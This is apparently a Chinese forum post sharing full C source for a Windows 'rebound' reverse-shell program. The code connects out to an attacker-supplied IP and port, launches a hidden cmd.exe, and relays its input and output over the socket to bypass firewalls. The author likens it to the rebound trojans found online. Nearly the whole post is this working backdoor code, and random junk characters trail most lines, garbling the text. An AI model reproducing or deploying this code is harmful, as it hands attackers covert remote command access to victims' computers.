这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5p6/dlN-a
-fp/3-
/* ============================== 7M8 cF>o
Rebound port in Windows NT NY|hE@{2.
By wind,2006/7 cbl>:ev1h
===============================*/ _D$1CaAYo
#include +;4;~>Y
#include xT(0-o*
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#pragma comment(lib,"wsock32.lib") hu.p;A3p;
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void OutputShell(); MJkusR/
SOCKET sClient; `vz7}TY
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; g)=$zXWhP
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void main(int argc,char **argv) f@[)*([
{ %a
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WSADATA stWsaData; Y`d@4*FN$
int nRet; '#SZ|Rr6tX
SOCKADDR_IN stSaiClient,stSaiServer; ,:2Z6~z{
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if(argc != 3) :{4C2qK>
{ \;KSx3o
printf("Useage:\n\rRebound DestIP DestPort\n"); [ r
return; $41<ldJ
} "?<(-,T
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^4NRmlb
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :aBm,q9i:}
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stSaiClient.sin_family = AF_INET; C#e :_e]
stSaiClient.sin_port = htons(0); zliMG=6
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )Ly~\*
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) qM+Ai*q
{ w]nt_xj
printf("Bind Socket Failed!\n"); Bex;!1
return; 0U:X[2|)
} %|ClYr
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stSaiServer.sin_family = AF_INET; v 2p
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); p(nO~I2E
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); TspX7<6r
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) bI|{TKKN&P
{ *JfGGI_E
printf("Connect Error!");
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return; QAt]sat
} ?3a=u<
OutputShell(); 'n>44_7 L
} zyO=x4U8
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void OutputShell() ^/$dSXKF
{ Y652&{>q
char szBuff[1024]; $STGH
SECURITY_ATTRIBUTES stSecurityAttributes; cJbv,RV<
OSVERSIONINFO stOsversionInfo; tQRbNY#}Z
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <Np Mv!g
STARTUPINFO stStartupInfo; ij#v_~g3
char *szShell; vH-|#x~
PROCESS_INFORMATION stProcessInformation; *xmC`oP
unsigned long lBytesRead; po\jhfn
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w\0vP
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); H C,5j)1
stSecurityAttributes.lpSecurityDescriptor = 0; 1h(IrV5 g
stSecurityAttributes.bInheritHandle = TRUE; oV;sd5'LG
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); QV.>Cy
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $y,KDR7^
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); n#Dy
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4M> pHz4
stStartupInfo.wShowWindow = SW_HIDE; l)o!&]2
stStartupInfo.hStdInput = hReadPipe; 1LSJy*yY
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xb%Q[V_m
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GetVersionEx(&stOsversionInfo); B~k{f}
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switch(stOsversionInfo.dwPlatformId) JP0aNu
{ P^=B6>e
case 1: 0^Vw^]w
szShell = "command.com"; a%BC{XX
break; /3k[3
default: uL-kihV:-
szShell = "cmd.exe"; &=*1[ j\
break; =,q/FY:
} lhJY]tQt/
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); f4*(rX
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send(sClient,szMsg,77,0); Q:7P
/
while(1) V`LE 'E
{ j^8HTa0Cy|
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); sC[#R.eq
if(lBytesRead) g.Qn,l]X/p
{ 6Iv};f"Y
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); h lc!}{$%8
send(sClient,szBuff,lBytesRead,0); c^'bf_~-W
} "~EAt$
else X]2Ib'(
{ !KJ X$?
lBytesRead=recv(sClient,szBuff,1024,0); ==?%]ZE8
if(lBytesRead<=0) break; -6uLww=w4
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9<y{:{i
} Z.Z31yF:f
} +mD;\iW]
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return; eN|zD?ba&
}